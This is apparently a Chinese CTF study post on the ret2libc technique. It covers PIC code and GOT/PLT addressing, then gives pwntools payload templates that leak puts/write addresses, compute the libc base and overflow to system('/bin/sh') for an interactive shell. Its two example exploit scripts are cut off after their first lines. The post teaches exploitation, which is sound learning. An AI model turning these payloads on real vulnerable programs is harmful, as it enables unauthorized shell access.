ROP-Ret2libc学习
函数调用和访问
针对于程序的逻辑了解我们可以编写两个模块,一个是程序自身的代码模块,另一个是共享对象模块。以此来学习动态链接的程序是如何进行模块内的函数调用和数据访问,共享文件如下:
1 | got_extern.c |
编译成32位共享对象文件:
1 | gcc got_extern.c -fPIC -shared -m32 -o got_extern.so |
-fPIC
选项是生成地址无关代码的代码,gcc
中还有另一个-fpic
选项,差别是fPIC
产生的代码较大但是跨平台性较强而fpic
产生的代码较小,且生成速度更快但是在不同平台中会有限制。一般会采用fPIC
选项
-shared
选项是生成共享对象文件
-m32
选项是编译成32位程序
-o
选项是定义输出文件的名称
编写的代码模块:
1 | got.c |
和共享模块一同编译:
1 | gcc got.c ./got_extern.so -m32 -o got |
用 objdump
查看反汇编代码
1 | objdump -D -Mintel got |
模块内部调用
可以看到,main
调用了fun
1 | 11f9: e8 bb ff ff ff call 11b9 <fun> |
fun
函数所在地址为0x000011b9
机器码e8
代表的是call
指令,后面紧跟着的四个字节bb ff
代表着目的地址相对于当前指令的下一条指令的偏移,即 0x11f9 + 0×5 + (-69) = 0x11b9
0xffffbb
是-69
的补码形式,这样一来程序无论被装载到哪里都会正常执行。
模块内部数据访问
在同一个模块中,一般前面的内存区域存放着代码后面的区域存放着数据(这里指的是 .data 段),如何去访问.data段的内容。我们来看fun函数
1 | 000011b9 <fun>: |
从上面的指令中可以看出,它先调用了 __x86.get_pc_thunk.ax()
函数:
1 | 00001224 <__x86.get_pc_thunk.ax>: |
这个函数的作用就是把返回地址的值放到 eax
寄存器中,也就是把0x11c1
保存到eax
中,然后再加上 0x2e3f
,最后再加上 0×24
。即 0x11c1
+ 0x2e3f
+ 0×24
= 0×4024
,这个值就是相对于模块加载基址的值。通过这样就能访问到模块内部.data段的数据。
利用原理
ret2libc
这种攻击方式主要是针对动态链接
的编译的程序,因为在正常情况下,程序中是找不到system()
execve()
这种系统函数的(如果有这些系统函数的程序就可以直接控制返回地址指向他们,就不用再通过这麻烦的方法了)
因为程序是动态链接生成的,所以在程序运行时会调用libc.so
(程序运行时会将所需要的动态链接库加载到进程空间),然后通过system execve
等系统函数在内存中的地址来覆盖掉返回地址,执行例如system()
来getshell
.
主要目的
通常是返回至某个函数的 plt
处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh")
,因此我们通常需要找到 system
函数的地址
ret2libc
通常可以分为下面这几类:
- 程序中自身就含有system函数和”/bin/sh”字符串
- 程序中自身就有system函数,但是没有”/bin/sh”字符串
- 程序中自身就没有system函数和”/bin/sh”字符串,但给出了
libc.so
文件- 程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出
libc.so
文件
基本思路
针对于上面的几类ret2libc
,不管程序有没有直接给出我们需要条件,我们都要想办法得到system
函数和字符串/bin/sh
的地址
当程序中没有字符串/bin/sh
时我们可以利用程序中某些函数如:read,fgets,gets
等函数将/bin/sh
字符串写入bss
段
对于只给出了libc.so
文件的程序,我们可以直接在libc.so
文件当中去找system()
函数和/bin/sh
字符串
最后对于没有给出libc.so
文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过ldd
查询来找出其使用libc.so
版本是哪一个,然后再去找system()
函数和/bin/sh
字符串
解题步骤
确定程序使用的
libc
库,通过命令ldd
查看利用
cyclic
算出多少字节溢出。泄露泄露函数真实地址得到基地址
这里要使用
output
函数,例如puts和write函数(该函数的特征必须为可以输出地址数据的函数)
puts构造payload(泄露puts函数地址)
1
2
3
4
5 puts_plt_addr =elf.plt['puts']
puts_got_addr =elf.got['puts']
main_addr =elf.sym['_start']
payload = "a"*溢出位
payload += p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)
write构造payload(泄露write函数地址)
1
2
3
4
5 write_plt_addr =elf.plt['write']
write_got_addr =elf.got['write']
main_addr =elf.sym['main']
payload = "a"*溢出位
payload += p32(write_plt_addr)+p32(main_addr)+p32(1)+p32(write_got_addr)+p32(4)发送payload完成第一次溢出
1
2
3 sh.sendlineafter('pwned me!\n',payload)
libc_write_addr = l ibc.sym['write']
base_addr = u32(sh.recv(4))-libc_write_addr再利用第一次得到的基地址来得到
system
和/bin/sh
的真实地址getshell
1
2 system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr+libc.search('/bin/sh').next()利用这两个地址构造二次溢出的payload
1
2
3
4 max_payload = "a"*52
max_payload += p32(system_addr)
max_payload += p32(0x00000000)
max_payload += p32(binsh_addr)最后发送payload即可完成溢出
1
2 sh.sendlineafter("pwned me!\n",max_payload)
sh.interactive()
例题
Ret2libc_32
先算出溢出位
利用write泄露地址
exp
1 | #-*-coding:utf-8 |
ez_ret2libc
利用puts泄露地址
exp
1 | from pwn import * |